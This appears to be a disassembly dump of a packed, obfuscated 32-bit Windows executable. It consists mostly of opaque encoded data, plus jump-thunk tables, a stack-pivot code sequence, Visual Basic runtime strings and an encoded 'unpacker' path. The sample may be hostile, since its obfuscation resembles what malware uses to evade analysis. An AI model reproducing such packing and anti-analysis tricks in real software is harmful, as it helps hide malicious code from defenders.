0EEh, 0Ah dup(0) dd 0F19E9h, 525A6800h, 68E90631h, 68FFFAFFh, 6315335h dd 0FAFF5EE9h, 54EC68FFh, 54E90631h, 68FFFAFFh, 63155DAh dd 0FAFF4AE9h, 56B968FFh, 40E90631h, 68FFFAFFh, 63157A0h dd 0FAFF36E9h, 585668FFh, 2CE90631h, 68FFFAFFh, 63158B8h dd 0FAFF22E9h, 597D68FFh, 18E90631h, 68FFFAFFh, 6315A04h dd 0FAFF0EE9h, 5ABF68FFh, 4E90631h, 68FFFAFFh, 6315B64h dd 0FAFEFAE9h, 5C4168FFh, 0F0E90631h, 68FFFAFEh, 6315D6Ah dd 0FAFEE6E9h, 5E6068FFh, 0DCE90631h, 18FFFAFEh, 7409ED5Ch dd 4D20C42Bh, 0A77ABE03h, 0FE9397E0h, 0DAA94DB8h, 0C83D7B01h dd 0AD0E5134h, 98EFB449h, 70C18164h, 0F5B9B0BCh, 91EA5E8Ah dd 5EC7F497h, 0CF79C497h, 0D82B4A34h, 8D0A7B3Bh, 41A50C54h dd 89B02BB2h, 9215EF98h, 580181FDh, 6B9FF539h, 0E66A9DE6h dd 6CC20979h, 63BE91F0h, 0C2602AB3h, 3D1A71A6h, 0D0680972h dd 42h, 49B6FCEDh, 5491F064h, 9D445E1h, 3FA3E4D8h, 2AEF0766h dd 159D1A69h, 9D0E918Ch, 265C066Ch, 1499DE6h, 19A3E896h dd 40DF91F0h, 0C55B252h, 0D12462A7h, 0ABD1A026h, 71A678E1h dd 0DB3Ch, 7B3B5300h, 0BB808D0Ah, 980E89FEh, 0E3561CF9h dd 3BAC41FAh, 0EEEB1D92h, 3F07D897h, 0D09049F6h, 87418EE4h dd 145C97DBh, 0D9408C60h, 6F97DBBCh, 475ADE27h, 0CE09B6FFh dd 595544D7h, 9DE6AF73h, 45B2E011h, 5891F098h, 33278110h dd 0EA104FFh, 58B5931Fh, 489BCEh, 52763C19h, 3039AD10h dd 333A8BCBh, 0DD27307Fh, 5C252D97h, 0ABEA2F9Eh, 0E0662E55h dd 7DE16568h, 60354CC2h, 4F18D722h, 408AB11Ah, 0CAB6715h dd 25610000h, 0F4BD50D4h, 0CC966B8Fh, 0A9E88D61h, 81C7DA5Eh dd 3A13F034h, 7FB3064Ch, 9094D79Ah, 0AF43B8FDh, 0C73B8ACAh dd 0C30C624Bh, 0DE91EA5Dh, 7D3BD23Dh, 24A81959h, 4D652DC0h dd 883EB902h, 20D9E004h, 0D030174Ch, 49B6FC18h, 5497DB6Ch dd 0CA1978ECh, 2029C225h, 0E6268072h, 32AD959Dh, 0F0190744h dd 0F69C7B91h, 0A6789BEDh, 0B16671h, 3B150000h, 548D0A7Bh dd 723CBB0Eh, 97DB34CBh, 0D79D357Dh, 0C97DF562h, 0A1105035h dd 0AC1153B8h, 445B9AD5h, 1ECCA2ABh, 7C9DE627h, 0F26DDA9Fh dd 104AB5F9h, 0E35791F0h, 93C2267Fh, 6CF3B40Fh, 4E7FE3BAh dd 0B6E6515Dh, 77FB91F0h, 34AB482Eh, 13FCB2BBh, 0CE9BCE75h dd 0F0B6939Ah, 0C68C6185h, 0D0B5F473h, 0BBA68AB0h, 0BD0CDh dd 0F34A0E00h, 0AA195A3Fh, 8CF1B356h, 65CE9568h, 53A6EC81h dd 691F34DFh, 475ADE2Bh, 9A7FB3FCh, 0F78A6EDDh, 0A6A246AFh dd 5CBCEB87h, 0EEA191EAh, 597D3BBFh, 0C327AB18h, 84E662Eh dd 3B0009BDh, 58D0A7Bh, 3B6DBE7Ch, 0D51A5B7Bh, 8730A42Ah dd 0BAA31252h, 472B135Dh, 97DB0F18h, 0C8A95D05h, 1D8E11E2h dd 314486ECh, 19419DE6h, 1B6C2B10h, 0D48BEA9Ch, 0F00561AAh dd 238CD791h, 8CFBB7B4h, 9191F005h, 0C52C74A9h, 0B0623D5Ah dd 48F1FA15h, 3CDC94E8h, 0DDB4CDE7h, 36DAACC9h, 0BB8071A7h dd 850D8AFBh, 826CFCh, 25030000h, 722029C2h, 9DE63744h dd 99131C59h, 408779F9h, 0B12A23DCh, 0F8C31CFBh, 60CED741h dd 91F0252Bh, 81EAB857h, 71A688B7h, 0B1FEB4A5h, 0AC91F02Dh dd 0D76AFFA9h, 0C97DA59Ah, 4290A8h, 0EFCF0000h, 79186B2Ah dd 90D11B82h, 8E32B423h, 0E9A96E9Fh, 0B66B1F98h, 941A85F0h dd 591BA10Dh, 0EA5E9DE6h, 3DCE1D6Dh, 397891F0h, 0C58851CEh dd 752CFD7Ah, 2EEDFAA1h, 952D1F64h, 78871A6h, 0A7000000h dd 80C90h, 0C2253F00h, 0B4722029h, 499DE878h, 73331801h dd 26DFEE02h, 1ED77Ah, 1FFC85F8h, 0B671EE57h, 9C8DBC2Fh dd 0F78EF7BFh, 0D9BA7C8Bh, 0B0B9A19Bh, 733F0B4Bh, 97DB8504h dd 0BCAD5119h, 0BC074E8Bh, 0B4E38F03h, 1A97DB85h, 0DD85EB5Ah dd 5313F6C4h, 1483F4B3h, 852C9B17h, 93197DBh, 65661185h dd 85F13E74h, 0E78B97DBh, 97DB85B8h, 67EBBDA5h, 0EF80671Eh dd 0A6FAB0FEh, 0B3F9DE6h, 0D66207BCh, 3F4D0890h, 0A19h dd 0C63A93D7h, 191D6223h, 33F73A04h, 48AC175Eh, 669AEFB5h dd 7432488Dh, 4508ED01h, 266306FAh, 0F8B85DD1h, 0F0F97589h dd 0EA5B75A2h, 64B76891h, 47B0FEEFh, 5A97DB0Fh, 0E8238F16h dd 4097DB08h, 0D7DBC25Dh, 9DE87F29h, 0BE80C34h, 9C121B94h dd 9BD9301Ah, 0ED2A5307h, 0C5D85CA5h, 828B347Dh, 8B7FC45h dd 0A104FF86h, 80EE1F0Eh, 97DB0E57h, 5D9F064Ah, 0E292558h dd 0FF10D1A0h, 8AEB5A1Ah, 0E818D324h, 535A0E9Dh, 327D3122h dd 2F91EA27h, 2787F0BEh, 0D69A91EAh, 0FE465322h, 44186B7h dd 0A108EEB7h, 2CAB1E64h, 763EDBBAh, 0A7E6900Fh, 0F11EA27h dd 0CD198298h, 528E81A3h, 1D06713Dh, 571B11EAh, 0D7BA01AEh dd 79EDA82Ah, 0EB8C2270h, 0B1961BD7h, 901681F2h, 0ADC629E1h dd 136293D7h, 97228DB5h, 980AC4EDh, 92BAFDDh, 0A5E10000h dd 743DD054h, 4C16EB0Fh, 29680DE1h, 1475ADEh, 0BA9370B4h dd 0FF3386CCh, 1014571Ah, 2FC3387Dh, 47BB0A4Ah, 438CE2CBh dd 5E91EA5Ah, 0C22552BDh, 44722029h, 599DE87Eh, 6323E811h dd 3B7B1E12h, 138A4DCAh, 0EBB49198h, 0E971B84h, 312BD1DDh dd 3A2E9BD9h, 278ED633h, 1F662EC3h, 8544FDEEh, 85E707DEh dd 0E96DDAD6h, 0C87097DBh, 687FB6A9h, 0FA8C6F7h, 729DE898h dd 0E569D69Fh, 0B74F17F4h, 199584F1h, 91EAA6AEh, 0E71B8FB3h dd 44F34202h, 0EAA6D13Ah, 0F5667991h, 0D764AEC4h, 0C9719BD9h dd 0CA3B7BC0h, 0A2135336h, 0D05E02BBh, 0D49BC4AAh, 0D28697DBh dd 0AEF01F23h, 465998D7h, 0C8CEA4D5h, 0D59DE8BAh, 0AC33F26Dh dd 0FA640A33h, 0E79BD7DFh, 7AD3F473h, 99C48AC5h, 84CEBh dd 77C68200h, 2E95DEB3h, 6D37CAh, 0F94A09ECh, 0D7226005h dd 0ED9BB053h, 3BDE52A7h, 1EF33778h, 6B0EE259h, 2A26DA2Bh dd 59206F03h, 623D91EAh, 0A7B3B33h, 0A50C548Dh, 0A51257B4h dd 72EDB43Ah, 6C683A15h, 0ED5A5824h, 0F097DB0Fh, 70D5C448h dd 0D159C631h, 0E78EAC0h, 0EB6B7B63h, 7, 4769080h, 0EF3F0000h dd 0F47B0FEh, 165A97DBh, 5F0DA28Fh, 0C8A6D748h, 9DE65AF6h dd 2E1FA7ABh, 3C06713Dh, 571B91F0h, 0CA05E04Eh, 5255A6ECh dd 0ACC2D0D9h, 5148C6C1h, 4C7D6EE9h, 0D0F6F926h, 8A4B0B44h dd 6513E2FFh, 5F562F13h, 0C8A6D748h, 4EE1E2B8h, 0C3F4E56Dh dd 3C723E06h, 42FEE5F3h, 49F67AEEh, 9BDBB0C1h, 9EE6232Ah dd 5F26A857h, 0F2BE869Bh, 0FEE573BCh, 76FA6E42h, 0D0B5E0F9h dd 1864D35Fh, 765h, 8A6EDF9Bh, 0AD41AEF7h, 0C73B86C8h dd 1C106322h, 2ACE3B79h, 0C0868459h, 91DCB175h, 7237CA2Eh dd 440CE105h, 3C0D39FDh, 0EA580976h, 287B1491h, 8D0A7B3Bh dd 47BB0E54h, 87B629BCh, 0E87ECBEBh, 0CA0FBE9Dh, 34C388Bh dd 0AD91EA40h, 62E493E8h, 0B9A0541Ch, 49AD145Ch, 1A85ECB4h dd 222BC4DBh, 10333EB9h, 0FC851204h, 0EC35A7CBh, 26579BD9h dd 0DBD21F48h, 475E0297h, 5F7079E1h, 6025B7FAh, 76F867EBh dd 4437ECFh, 6A0B047Eh, 6D9CE5ADh, 88CFE9A8h, 9A0E803Fh dd 1A5A3FFBh, 863F2CABh, 0B5478DC1h, 24F18073h, 4F5CEB5Eh dd 408AABBBh, 6AF6715h, 296D0000h, 0F8B95CD0h, 0D092778Bh dd 0ADF4896Dh, 85C3A65Ah, 3E17FC30h, 7BBF0A48h, 9C90DBA6h dd 0AB4FBCF9h, 0C3278ED6h, 0DF086647h, 0C291EA57h, 2AEFDEC9h dd 0E9611E6Dh, 910A9D88h, 7E900A68h, 0AD959DE8h, 0AE175FBCh dd 86EFB74Ah, 54C7DE19h, 61974925h, 0C68A9BD7h, 0C51D8469h dd 0BCC8778Ah, 64Dh, 0B276C783h, 0D52996DFh, 0EF036E30h dd 4F84B0Ah, 52D62361h, 0A8EE9CB1h, 79C4D95Dh, 5A1FF236h dd 2C7409EDh, 42521C5h, 0EA57216Eh, 30633C91h, 8D0A7B3Bh dd 3AA50C54h, 0AC2BA0E5h, 58C7286Bh, 6625F1AEh, 62563C1Bh dd 2CC08222h, 0F86C1067h, 5F3C0E04h, 11996B7Bh, 0B6000000h dd 47B0FEEFh, 5A97DB0Fh, 71218F16h, 0EE000002h, 8D0A7B3Bh dd 0D1D8534Ah, 0BDC42B74h, 7F74660Ch, 0C9719DE8h, 0A1105035h dd 8ED03536h, 0FF455223h, 1A8D768Ah, 0C11A9881h, 849BD92Eh dd 10EA5559h, 43F797DBh, 2969AEDFh, 14124D8h, 94D207B0h dd 687FB621h, 72A8C6F7h, 779DE63Dh, 0D08B64C3h, 0D18C90D5h dd 588A3h, 8B024600h, 62D19277h, 44A9EB8Eh, 3D86CDA0h dd 0EB5E24F9h, 0A1E77C17h, 0FF9296E3h, 0D2B74BB4h, 2FC22695h dd 6E1A1E67h, 56E4535Fh, 26F991EAh, 77B3BF7h, 7E32A5A0h dd 0C98A4FCCh, 9049F67Ah, 47330D0h, 7532179Bh, 0AE6B9206h dd 6CE29DE8h, 0C0855A15h, 490BCC4Bh, 2EED7BE4h, 0C02F7064h dd 0BC66415Ch, 7589F8B8h, 7BF58DFFh, 7686Bh, 90070000h dd 128h, 0A7B3B3Fh, 0AACC4CBDh, 64104F8Ah, 501h, 0EE027B3Fh dd 1E54A0Bh, 5BDF226Ch, 70B4FF46h, 8E62D79Dh, 5C1A60E5h dd 2D7015E9h, 0E4B2EC2h, 0E0A045B9h, 0D8919D91h, 0EA556DDAh dd 8C9F7091h, 8D0A7B3Bh, 8BFCBB80h, 0FD479A0Ch, 6C34E1B0h dd 0F37A2108h, 0EA9E7AAFh, 98EFB46Dh, 0E7D3A1Fh, 7BC41991h dd 13EE8B34h, 5E394403h, 0B10040B4h, 8F85F77Dh, 0D506B7Bh dd 0F000000h, 0A790h, 0A1903F00h, 3F000000h, 0DD6476EFh dd 1B0FF40h, 48296D62h, 0A8D14A5Dh, 0BFE886B7h, 0A297DB41h dd 619BE7BEh, 649DE831h, 8D4A43FCh, 12672DC5h, 1879ED65h dd 0F8E17A6Dh, 0D73230BAh, 62CD759Bh, 8AC4CF9Dh, 46D5A39Eh dd 84000004h, 0D0B549C0h, 29CC208Fh, 3E61A67h, 5A3FF344h dd 0BE55A91Ch, 54A1E7A5h, 9723DD0h, 0E45310F5h, 0DC256D00h dd 911D2C58h, 91EA5526h, 2531603Bh, 722029C2h, 9DE67EF8h dd 4784B5BDh, 307CB0FDh, 91F041DAh, 59DD246Ch, 0C4337F90h dd 0D991F041h, 490B0091h, 0EA0D7BE4h, 0C2000003h, 5819FEEFh dd 0F509FEBh, 54D97DBh, 8D1E817Ch, 7FE4169Ch, 79E19DE8h dd 7BCC8B70h, 2F434AFCh, 91EA5FE0h, 352C75FDh, 4970EBF2h dd 0D77C8725h, 0A73CA59Bh, 0CEEB9D06h, 0B9A1079Eh, 0C5A0D30Eh dd 0EB99C48Ah, 3A1h, 4EA21B5Fh, 6185EAABh, 0BB7FC28Ch dd 0D0549FE6h, 0EE02773Dh, 0FCBAC005h, 0CD907589h, 0AEEB8E62h dd 80C0A559h, 7871FD31h, 0EA54CD3Ah, 0EC3FD091h, 2029C225h dd 0E878B472h, 0ACE92E9Dh, 73E2465Fh, 9B34B08Eh, 610D3CAFh dd 91EAB336h, 8AB3272Bh, 78BC054Dh, 0EB94DDA5h, 333AB528h dd 0B3236C02h, 0A3E91EAh, 0EB347A6Bh, 369BD9C2h, 743E1B02h dd 0F9FA4304h, 53C780F4h, 2C1B442Ah, 520697DBh, 0FD458243h dd 0D59D70B4h, 2C5A85E9h, 0ADF497DBh, 4355DD5Ah, 0A5626B1Fh dd 5483EFDFh, 4997DB2Ch, 6CE29D01h, 2625A0F5h, 79185573h dd 7980FC6h, 0D6E3116h, 29961Ch, 0C3497DBh, 86437475h dd 46C877BEh, 0C671C683h, 3FCD3140h, 0FA9DE623h, 0DF26F976h dd 2A2990D5h, 2C45Eh, 0CF3E7A00h, 0A60D562Bh, 98E5AF42h dd 71C28164h, 2F9AD8BDh, 652338CBh, 0B356AA1Fh, 966B8FF0h dd 0E3867AD1h, 52DE52A3h, 53A8179Bh, 0DAB591EAh, 0A7B3BCBh dd 0A50C548Dh, 0B02BB241h, 9AFE589h, 165A9DE6h, 0EB21969h dd 53CE91F0h, 60503A43h, 3CAD71A6h, 0C2000000h, 2029C225h dd 0E6268072h, 0B7FC959Dh, 7CC58D40h, 5CDB4FC3h, 0F019F952h dd 9C868591h, 2CCA8F4Ch, 0F16E1265h, 2A1C1879h, 5071A679h dd 1504733Fh, 511991F0h, 0D63840h, 3B570000h, 0B4E38F7Bh dd 4697DB0Fh, 0A97A36C6h, 440C92D2h, 0EA30A9D0h, 4576D2C8h dd 0ED38E17h, 9D42FD48h, 0F9F461D5h, 7B88A29Ah, 0EC90DBA6h dd 79A6CCFDh, 6497DB13h, 1599E2ADh, 0CEB8F66Ch, 8D140E37h dd 0FC450DD2h, 0F94808CDh, 0CDA9C87Eh, 0DBA19881h, 1F662E97h dd 0F73E061Bh, 85168948h, 0D5441E94h, 89B19DE6h, 84178E75h dd 6A961995h, 0E76B9BCEh, 51894DF6h, 5202383Dh, 643DA114h dd 0C4E0A663h, 90D0357Ch, 0A479BD21h, 15DC6BDEh, 68AB136h dd 19B2D5Bh, 15510000h, 0E4AD40A4h, 0BC869B9Fh, 99D8BD71h dd 7137CA2Eh, 0CA03E004h, 6F83F6BCh, 8064C78Ah, 0DF53A8EDh dd 0F70B7A3Ah, 0F33C727Bh, 0EE91EA52h, 7D3BE22Dh, 0C5F408h dd 0E8ADF443h, 76A559A8h, 2029C225h, 0E6268072h, 64A0959Dh dd 0C64FE839h, 0EC958408h, 29805EBCh, 85F2B730h, 0A1D18011h dd 91F0746Ah, 422BFB16h, 71A6DDF8h, 0CDC5h, 7B3B7A00h dd 0E548D0Ah, 0CA0F3CBBh, 0B2F42888h, 0CCDD4BC8h, 44F53958h dd 0F297DBEAh, 1EAF43B2h, 910E7B39h, 0D3937819h, 0AB32F562h dd 0F8900930h, 0E4639CBCh, 66C5D24h, 9DE6C44Ch, 0C83979DEh dd 6EBADB4Fh, 6A7D06FAh, 65D29774h, 0CF3874FAh, 0D291F0BBh dd 0BFF3FA6Eh, 9BCE78E9h, 67CE9673h, 88BCA1Eh, 1CBABABEh dd 29EE1F83h, 2AEF1E6Bh, 0BA0D5468h, 7001B53Dh, 54A1E7BAh dd 0B1635C9Bh, 94E05F8Ah, 0A5h, 4AAE1F5Bh, 6D81EEB7h, 877BC688h dd 0DC50A3E2h, 0EA0E7B39h, 46C419h, 0D19C71B5h, 0B2F78A6Eh dd 84CCA145h, 7C4DF93Dh, 0EA51C936h, 0E83BD491h, 0F4087D3Bh dd 0CE05111h, 291B58BDh, 0DB0F1A45h, 0AF530797h, 7B3B77D6h dd 0E7808D0Ah, 8234205Eh, 692E77B2h, 5F24D829h, 0C8A6D748h dd 9DE887A3h, 4845F266h, 0E86922DFh, 45D863h, 997E078Bh dd 0F19468D9h, 0ABD740B1h, 64F1CD49h, 0D9DFC744h, 31D42899h dd 42970071h, 0DA07B003h, 2161573Fh, 0F9B95CD0h, 0FA448188h dd 0FF8608B7h, 33440h, 9DB0000h, 0E7F3BA6h, 0B9084891h dd 2F9CD93Eh, 0DB246FB0h, 48BDFB5Ch, 0F94C0ACFh, 69DA997Eh dd 1A6729EEh, 0B4FB449Dh, 0AF68B30Bh, 89000060h, 32682434h dd 8900000Dh, 0A0682404h, 8900005Eh, 22B8243Ch, 53DCE38h dd 0FFFFFFFFh, 0F7D0F740h, 7E0C1D8h, 2D40A335h, 3C8B54E1h dd 4C48324h, 6CAA68h, 242C8900h, 6F89C589h, 3C8B5D08h dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 24048B5Ch dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FAF066E9h, 750089FFh dd 0B57DB51Fh, 0C0BB7ED3h, 2AB8E1E1h, 306315Fh, 0EDE0FFC5h dd 0BD460FB4h, 567D815Dh, 0AC70C506h, 4260A3D7h, 0BD461AFFh dd 85054302h, 0E00EEDD5h, 4726E648h, 0A972829Eh, 3006A707h dd 874CA3A4h, 0DE2C6F4Eh, 0E91C62B0h, 19h, 33F35F7Eh, 5 dup(0) dd 53CE900h, 0D6870000h, 82D936F2h, 33294642h, 0FF76910Dh dd 9CC2DDD9h, 5C036EAAh, 69A59FC3h, 0BE7A4C0Eh, 0C8C4F861h dd 1793B5AFh, 109AA645h, 6592DAA0h, 995540EFh, 96C7D9D9h dd 816561A8h, 0B70AE1C7h, 21D99A3h, 9CFB6442h, 142A81BBh dd 5C4B0695h, 0A061548h, 67BA73D3h, 9DE0CBEDh, 602586C6h dd 85BFF3D7h, 0F9794370h, 0FF1B3F02h, 4973E403h, 1B2D324Dh dd 0B488D1CCh, 33C2CB57h, 77546EECh, 6AC9085h, 54B36F51h dd 71FB091Ch, 494EB66h, 66911B29h, 7AE494EBh, 761542DEh dd 0B30EDDE3h, 2E309BADh, 44881B92h, 94EB66B5h, 3561259Eh dd 7D978039h, 72FC0897h, 9B94EB6Ah, 243A81C3h, 7710E5h dd 81B20000h, 0B76E1C7h, 0B4A8AEF2h, 227A592h, 0FD557523h dd 5A14DB8h, 8D40BF3Ah, 79B02E47h, 169A26AAh, 4BD94EBh dd 0AF581240h, 10C7D97h, 0CE000000h, 2E29DA81h, 0FB5EBD0Eh dd 3C58E6C5h, 61F44BA0h, 0C2C18C5Fh, 0CFE9689Dh, 0C7C658B3h dd 4C9FB9B8h, 24DAAE47h, 8A32B879h, 74B5B11Ch, 9A16362Dh dd 21DDFB7Dh, 49CE4B36h, 53499D94h, 58276E4Eh, 199045E5h dd 0E7D9817Dh, 7411D78h, 80139AA4h, 98123ECDh, 0ED94EBC0h dd 3A91B7AEh, 0FE018824h, 3786655Bh, 0E2743A0Eh, 93B5ACEBh dd 0EBC02BC5h, 0A4C05E94h, 73550F68h, 291F4598h, 493DC4C2h dd 96E0611Dh, 0E4F09F7Dh, 94EBCA4Ah, 4660E03Fh, 70B9D565h dd 6FBBh, 0D9812700h, 0A3B904E7h, 0E7C4FA5Eh, 4EE00C5Bh dd 394EBC0h, 3954831Fh, 0B6C82325h, 56EFA477h, 201A3C72h dd 0D2C8C8B7h, 0CE41566h, 90C6219Dh, 47FE5DAEh, 0C49BF661h dd 0A7495780h, 0DA94EBC1h, 0D0B64544h, 45315D21h, 0F97D96E1h dd 4Ah, 0E7D981E5h, 9CA0B904h, 38025433h, 0F24B22F1h, 0CFDD680Eh dd 94EBC03Dh, 0C0DFCE50h, 7468A49Eh, 1EADA81h, 66465F4Ah dd 0CE77471Ch, 0EE20B1DFh, 0A80994EBh, 7CCA6D4h, 0B707D97h dd 0D9000000h, 0E163A6BAh, 3E40ABC7h, 0DB81CBCFh, 0B9BB06E5h dd 0C0EE80ACh, 0FF6394EBh, 65988863h, 71570DA1h, 2F44B4B5h dd 0D9F194A0h, 0A148AC6h, 0F11FAAA1h, 6D3F397Fh, 829D0C12h dd 0CF28E4C2h, 0A2966095h, 0BB6FAA5Ch, 7000CC1Fh, 156D3F6Bh dd 2D945B46h, 4378B2D2h, 424B6DE4h, 87C1E5D9h, 4A0A65A1h dd 3893B5AFh, 0DA218A26h, 7413BC9Ah, 5DD0D9E3h, 0C17549F2h dd 0E7734D2h, 849A7157h, 0B06603BBh, 82E2679h, 5004838Ch dd 0CFD9D6Eh, 6B77E18Dh, 13F8577h, 6F410000h, 7785D21Fh dd 8AC6DE72h, 63BE0D0Dh, 0ACCBC7E1h, 0E23992B4h, 56949762h dd 971BE6BAh, 3341EC7Bh, 6D3F14B9h, 0C85B52CCh, 0F6D5F375h dd 14A34D5Bh, 48D66D3Fh, 596768EFh, 6D3F14D7h, 0B318B4AAh dd 8A5D21DAh, 0E2C8BCA1h, 7C1B4462h, 7A04E7D9h, 9EC8CFB3h dd 46776BADh, 4Fh, 0D3206F80h, 0C0967884h, 0B7AB14EBh dd 0C0F67854h, 9FA014EBh, 87645E00h, 350932FBh, 94C3309Fh dd 3B1F7A09h, 0CA94AA01h, 14EBC020h, 0CCC4C555h, 94EBC042h dd 0D17CEB77h, 0EBC029C3h, 0A680C094h, 9BC63545h, 0A76682C6h dd 9368FBh, 6F4E0000h, 7785D21Fh, 8AC6DB3Ah, 9BE6C555h dd 0E403FFD9h, 0C16B796Ch, 0B46D3F3Bh, 2FBD0EAAh, 6D3F2480h dd 253D58E7h, 2E4A7CE0h, 0D34CBDDDh, 9FB9BBEFh, 0D4BC4530h dd 2982C496h, 0CE3E2611h, 0D3A190DFh, 9B7D8A5Fh, 4DBDAC12h dd 9D28B720h, 3FB7FD8Fh, 8AC01C6Dh, 0A04B319Eh, 46E8F45Bh dd 3B6D3FB3h, 8E028B27h, 7308D398h, 5F3AA5B5h, 5BE7C4F8h dd 0C47CC352h, 0D329C3D1h, 15C6748h, 0B2CE6A5Ah, 0D2B6AF59h dd 22ADC232h, 7FB3F016h, 910D0D79h, 0D21F6F0Dh, 0A0917785h dd 61AC8ADCh, 0D7885CC2h, 37001EEDh, 0D874ADC7h, 0F7515CF3h dd 51FA5B26h, 0ACC8FA60h, 76B791D3h, 930F292Bh, 0AD4E0984h dd 2A3497B1h, 40001F8Eh, 3D8EBEA5h, 2E18421Dh, 0CA21BDDDh dd 638B4306h, 6B5FE823h, 0EF2B0D47h, 15F6D090h, 42A98FC6h dd 86655FFFh, 0CC1F393Bh, 975A2EC7h, 0C49BF615h, 96172B80h dd 5315996Dh, 0E65EB975h, 0FC0897C0h, 50E01272h, 2EFDC79Bh dd 7884AB10h, 50E012F6h, 0B27B978Bh, 368E3h, 5E4E0000h dd 0E8DC817Ah, 0A284BC03h, 5B6DF249h, 17312D70h, 0CFF169B4h dd 87B9A1FCh, 0BE9ED924h, 744A0E6Dh, 33154897h, 0CE6808D8h dd 89000008h, 1F68243Ch, 89000043h, 89562414h, 4C681E6h dd 83000000h, 348704EEh, 2C895C24h, 60066824h, 148B0631h dd 4C48124h, 68000000h, 805h, 83242489h, 5D042404h, 2FBA5253h dd 0BB3C0063h, 3C006337h, 15AD329h, 5B1389EBh, 57242C8Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 148B5C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_544660 ; --------------------------------------------------------------------------- db 2Bh, 0B3h, 0E8h dd 0FDEB536h, 739F6C9Ah, 0B2B88E27h, 3063164h, 0FEE0FFC5h dd 9E05445Dh, 6B0E87EDh, 0E96F2B38h, 167h, 709818E1h, 77E705C5h dd 6D5C3A43h, 706E755Fh, 656B6361h, 61700072h, 64656B63h dd 6578652Eh, 3Bh dup(0) a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 dd 2 dup(0) dd 0E9000000h, 1C0Fh, 3168C868h, 18E6E906h, 0D768FFFAh dd 0E9063169h, 0FFFA18DCh, 316AD468h, 18D2E906h, 9168FFFAh dd 0E906316Bh, 0FFFA18C8h, 316BD068h, 18BEE906h, 0A168FFFAh dd 0E906316Ch, 0FFFA18B4h, 316CF968h, 18AAE906h, 4068FFFAh dd 0E906316Dh, 0FFFA18A0h, 3174C568h, 1896E906h, 5E68FFFAh dd 0E9063175h, 0FFFA188Ch, 31762B68h, 1882E906h, 0FC68FFFAh dd 0E9063176h, 0FFFA1878h, 31776F68h, 186EE906h, 7C68FFFAh dd 0E9063178h, 0FFFA1864h, 31791868h, 185AE906h, 0BD68FFFAh dd 0E9063179h, 0FFFA1850h, 317FED68h, 1846E906h, 0F468FFFAh dd 0E9063180h, 0FFFA183Ch, 31818B68h, 1832E906h, 5607FFFAh dd 259B672h, 0B3A9C6C2h, 7FF6118Dh, 1C425D59h, 0DC83EE2Ah dd 0E9251F43h, 3EFACC8Eh, 484478E1h, 9713352Fh, 901A26C5h dd 0E592DAA7h, 83C5C06Fh, 9C2E3AA5h, 0F192DAA7h, 811AA069h dd 0B76E1C7h, 0F23FA83h, 0BE4DBCBEh, 5963F493h, 31175150h dd 0EF0474F5h, 0BFB6D560h, 0FD2C3299h, 0C6294ED3h, 0D239218Ah dd 3E3550FEh, 8E0D1A6Dh, 816F5CBh, 76A49881h, 776CD2FCh dd 38A0h, 1F6F2200h, 0E70FAB01h, 0A5C1DC3Ch, 6F1B2E3Ah dd 7B168AC6h, 700EDDE7h, 8764FAB9h, 3EAFBB49h, 7C40F16Dh dd 6C49244Eh, 0E8D877h, 0E2710000h, 3EA354D6h, 0F831296Dh dd 0E1C781D2h, 99A3B70Ah, 5375EF32h, 36BC9904h, 0A5163CB6h dd 0A4A9164h, 8CE6F02Ch, 5D94EB32h, 0A6C13D1Bh, 2C2388AEh dd 0D2DBED71h, 0FB5FD121h, 816A5C02h, 0F08E5DF9h, 507C0B54h dd 94EB29DEh, 0BA112B2Fh, 6CCB57A4h, 61F9D2F4h, 8E9BA9A8h dd 0E18AC60Ch, 49866AAh, 0F30FAA96h, 0F56D2837h, 0A766F8D3h dd 0BE2946B6h, 0C5B8B92h, 0BF038E73h, 83929F9Fh, 77EB8A03h dd 93B5ADE8h, 5C66F817h, 592D9BD6h, 1A4D9E50h, 1965h, 0F4301449h dd 480C49Bh, 575375EBh, 0E31F3938h, 2CE8D284h, 0DD851EC1h dd 8AD02FEBh, 3E237CB8h, 0F7718E0Ah, 0E807D5D1h, 0DAA852DCh dd 9212792h, 2BE7D981h, 0C5FB613Ch, 4E5158E6h, 6BF43016h dd 0C03EB0DCh, 0FC5394EBh, 0EBC05ED0h, 932F3394h, 1F6F7C1Ah dd 727785D2h, 0D8AC6EAh, 8CC7C20Dh, 0D79CDFA8h, 0D9373052h dd 930E5DD0h, 9F31F8CCh, 6D3FCEF1h, 10C6BABBh, 4D0AEF75h dd 2A1B17D5h, 7B07E400h, 1A5B17B2h, 0C503776Bh, 44000000h dd 532C1049h, 0D0F63711h, 0AE1C781h, 2E084847h, 44E48641h dd 5851C0ECh, 0DC2F1149h, 74521271h, 8E028B97h, 94EBD834h dd 69A583C5h, 0E770560Eh, 1C8DB7A8h, 76CDC89h, 84E4DD8h dd 0C8D9F736h, 0CB8AC6E5h, 249E103Ch, 6FF36D3Fh, 0A763FFBEh dd 0CE1956A6h, 0DE0E8A2h, 0B2027173h, 6D12F055h, 2F33F23Bh dd 0FF7615A0h, 0BD6CF2D9h, 0CECAFC62h, 6D97A9B1h, 5059D6EEh dd 56450CDFh, 56000018h, 0A8C7C305h, 0F81793B5h, 49A66264h dd 95F22E0Eh, 0F23FFBCDh, 0FACC920Fh, 4B7DE13Eh, 152F304Fh dd 0E0C67E99h, 0CBD97624h, 92DAA921h, 81F8D054h, 0E3024D9h dd 85019DBDh, 0D0CCEA6Ah, 30124847h, 404647DBh, 0C6D2C781h dd 94EBC024h, 46A5C159h, 0A35F79FBh, 0CA155AAAh, 0C6E7EBBEh dd 0EB74EA8Ah, 0D51B4ACh, 324ED03Bh, 557C92D9h, 36994746h dd 4C80139Ah, 6D3FA8BEh, 4D794DF4h, 776B4621h, 9C12F0BFh dd 0E9272CE8h, 0D06B20h, 71770000h, 0DA8F8002h, 0C0C95A30h dd 0FB86730Eh, 0EBC643EDh, 0E1283694h, 64F30070h, 0C68BFD58h dd 118E908Ah, 0A2ABA783h, 76CDC80h, 0CF59CCD8h, 0F26CAFFCh dd 97DC2C19h, 53DB3C48h, 70EE95D5h, 8CB6A8E7h, 0D867F21Dh dd 4B8D3F4Dh, 5EC08C0Bh, 0B4BFE70h, 